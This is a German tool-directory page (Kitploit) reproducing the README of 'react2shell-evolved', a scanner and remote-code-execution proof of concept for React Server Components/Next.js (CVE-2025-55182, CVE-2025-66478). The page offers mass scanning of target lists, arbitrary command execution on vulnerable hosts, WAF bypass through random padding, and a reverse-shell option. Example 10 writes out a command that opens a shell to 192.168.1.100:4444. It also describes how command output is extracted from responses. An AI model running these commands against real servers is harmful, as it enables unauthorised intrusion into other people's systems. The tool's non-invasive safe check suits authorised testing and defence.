Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
react2shell-evolved — Eine weiterentwickelte Version des CVE-2025-55182-Scanners von assetnote. | Kitploit
Tools/GitHubGitHub/guiimoraes/react2shell-evolved
SchwachstellenscannerPayload-GenerierungExploitationWebanwendungs-ExploitationWAF-UmgehungPenetrationstestsRed TeamingRemote-Access-Tool
GitHubguiimoraes/react2shell-evolved

react2shell-evolved

Eine weiterentwickelte Version des CVE-2025-55182-Scanners von assetnote.

Repository anzeigen
2121vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

React2Shell Scanner

Hochpräzise Erkennung für RSC/Next.js-RCE

Scanner zur Erkennung von Remote-Code-Execution-Schwachstellen (RCE) in React-Server-Components- und Next.js-Anwendungen.

Über

Der React2Shell Scanner ist ein spezialisiertes Werkzeug zur Identifizierung von Schwachstellen für Remote-Code-Ausführung (RCE) in Anwendungen, die React Server Components (RSC) und Next.js verwenden. Das Tool erkennt Schwachstellen im Zusammenhang mit den folgenden CVEs:

  • CVE-2025-55182
  • CVE-2025-66478

Das Tool führt hochpräzise Überprüfungen mittels Side-Channel-Erkennung und RCE-Proof-of-Concept durch und kann dynamische Ergebnisse ausgeführter Befehle durch automatisches Parsen der HTTP-Antworten extrahieren.

Dies ist eine von @imguimoraes bearbeitete Version des ursprünglichen Scanners, der vom Assetnote Security Research Team entwickelt wurde. Der ursprüngliche RCE-PoC wurde von @maple3142 erstellt.

Funktionen

  • Hochpräzise Erkennung mittels Side-Channel und RCE-PoC
  • Multithread-Ausführung für Massenscans
  • Dynamische Extraktion der Ergebnisse ausgeführter Befehle (automatisches Parsen von Headern und Antwort-Body)
  • WAF-Bypass mit konfigurierbaren Zufallsdaten
  • Unterstützung für Windows (PowerShell) und Linux/Unix (Shell)
  • Strukturierte JSON-Ausgabe zur späteren Analyse
  • Automatisches Verfolgen von Weiterleitungen
  • Oberfläche mit Fortschrittsbalken und farbiger Ausgabe

Installation

Anforderungen

  • Python 3.8 oder höher
  • pip (Python-Paketmanager)

Installation der Abhängigkeiten

pip install requests tqdm

Oder mithilfe der Datei requirements.txt:

pip install -r requirements.txt

Verwendung

Grundsyntax

python scanner.py [-u URL | -l FILE] [opções]

Einzelne URL überprüfen

python scanner.py -u https://example.com

Mehrere URLs überprüfen

python scanner.py -l hosts.txt

Befehlszeilenoptionen

Eingabeoptionen (eine davon erforderlich)

OpçãoBeschreibung
-u, --url URLEinzelne URL oder Host zur Überprüfung
-l, --list FILEDatei mit einer Hostliste (ein Host pro Zeile)

Ausführungsoptionen

OptionBeschreibung
-t, --threads NAnzahl gleichzeitiger Threads (Standard: 10)
--timeout SECONDSTimeout der Anfragen in Sekunden (Standard: 10)
-k, --insecureSSL-Zertifikatsprüfung deaktivieren (standardmäßig aktiviert)

Ausgabeoptionen

OptionBeschreibung
-o, --output FILEAusgabedatei für Ergebnisse im JSON-Format
--all-resultsAlle Ergebnisse in der Datei speichern, nicht nur verwundbare
-v, --verboseAusführliche Ausgabe (zeigt Antwort-Ausschnitte zur Analyse)
-q, --quietStiller Modus (zeigt nur verwundbare Hosts)
--no-colorFarbige Ausgabe deaktivieren

Header-Optionen

OptionBeschreibung
-H, --header "Key: Value"Benutzerdefinierten HTTP-Header hinzufügen (kann mehrfach verwendet werden)

Exploit-Optionen

OptionBeschreibung
--safe-checkSichere Side-Channel-Erkennung anstelle von RCE-PoC verwenden (führt keinen Code aus)
--windowsPowerShell-Payload anstelle von Unix-Shell verwenden (für Windows-Umgebungen)
--waf-bypassZufallsdaten zum Payload hinzufügen für WAF-Bypass (Standard: 128 KB)
--waf-bypass-size KBGröße der Zufallsdaten in KB für WAF-Bypass (Standard: 128)
--payload COMMANDBenutzerdefinierter Befehl zur Ausführung im RCE (Standard: echo $((41*271)))
--reverse-shell IP:PORTReverse-Shell-Verbindung zur angegebenen IP:PORT erstellen

Anwendungsbeispiele

Beispiel 1: Grundscan eines Hosts

python scanner.py -u https://target.com

Beispiel 2: Massenscan mit mehreren Threads

python scanner.py -l targets.txt -t 50 --timeout 15

Beispiel 3: Scan mit JSON-Ausgabe

python scanner.py -l targets.txt -o results.json --all-results

Beispiel 4: Scan mit benutzerdefinierten Headern

python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"

Beispiel 5: Scan mit benutzerdefiniertem Payload

python scanner.py -u https://target.com --payload "whoami"

Beispiel 6: Scan mit WAF-Bypass

python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256

Beispiel 7: Scan in einer Windows-Umgebung

python scanner.py -u https://target.com --windows --payload "whoami"

Beispiel 8: Scan mit Safe Check (nicht-invasiv)

python scanner.py -l targets.txt --safe-check

Beispiel 9: Vollständiger Scan mit ausführlicher Ausgabe

python scanner.py -l targets.txt -v --all-results -o full_scan.json

Beispiel 10: Reverse Shell einrichten

python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444

Ausgabeformat

Terminal-Ausgabe

Der Scanner zeigt Ergebnisse mit Farbcodes an, die den Status angeben:

  • [VULNERABLE] – Host verwundbar (rot)
  • [NOT VULNERABLE] – Host nicht verwundbar (grün)
  • [ERROR] – Fehler während der Überprüfung (gelb)

Bei verwundbaren Hosts wird das Ergebnis des ausgeführten Befehls angezeigt, sofern verfügbar, durch automatische Extraktion aus dem Header X-Action-Redirect oder dem Antwort-Body.

JSON-Format

Wenn die Option -o verwendet wird, wird die Ausgabe im JSON-Format mit der folgenden Struktur gespeichert:

{
  "scan_time": "2025-01-XXT00:00:00.000000Z",
  "total_results": 10,
  "results": [
    {
      "host": "https://target.com",
      "vulnerable": true,
      "status_code": 307,
      "final_url": "https://target.com/",
      "command_result": "11111",
      "timestamp": "2025-01-XXT00:00:00.000000Z",
      "request": "POST / HTTP/1.1\r\n...",
      "response": "HTTP/1.1 307 Temporary Redirect\r\n...",
      "error": null
    }
  ]
}

Felder des Ergebnisses:

  • vulnerable: true, wenn verwundbar, false, wenn nicht verwundbar, null, wenn ein Fehler aufgetreten ist
  • command_result: Ergebnis des ausgeführten Befehls, extrahiert aus der Antwort (wenn verfügbar)
  • final_url: Endgültig getestete URL (nach dem Verfolgen von Weiterleitungen, sofern aktiviert)
  • status_code: HTTP-Statuscode der Antwort
  • request: Vollständige gesendete HTTP-Anfrage
  • response: Empfangene HTTP-Antwort (erste 2000 Zeichen)
  • error: Fehlermeldung, falls vorhanden
  • timestamp: UTC-Zeitstempel der Überprüfung

Technische Funktionen

Erkennungsmethoden

Der Scanner bietet zwei Erkennungsmethoden:

  1. Safe Check (--safe-check): Nicht-invasive Side-Channel-Erkennung, die Fehlermuster in der Antwort prüft, ohne Code auszuführen. Nützlich für einen ersten Scan ohne Auswirkungen.

  2. RCE-PoC: Tatsächliche Ausführung von Remote-Code mit dynamischer Extraktion der Ergebnisse. Verwendet Payloads auf Basis von Node.js child_process zur Ausführung von Systembefehlen.

Extraktion von Ergebnissen

Der Scanner parst automatisch die HTTP-Antworten, um Ergebnisse ausgeführter Befehle zu extrahieren:

  • Extraktion aus dem Header X-Action-Redirect (Format: NEXT_REDIRECT;push;/login?a=<result>;307;)
  • Extraktion aus dem Antwort-Body (Format: E{"digest":"<result>"} oder 1:E{"digest":"<result>"})
  • Funktioniert mit jedem benutzerdefinierten Befehl/Payload über den Parameter --payload

Die Extraktion erfolgt dynamisch und ist nicht von festen Werten abhängig, sodass die Ausführung jedes beliebigen Befehls validiert werden kann.

WAF-Bypass

Wenn die Option --waf-bypass verwendet wird:

Tool herunterladen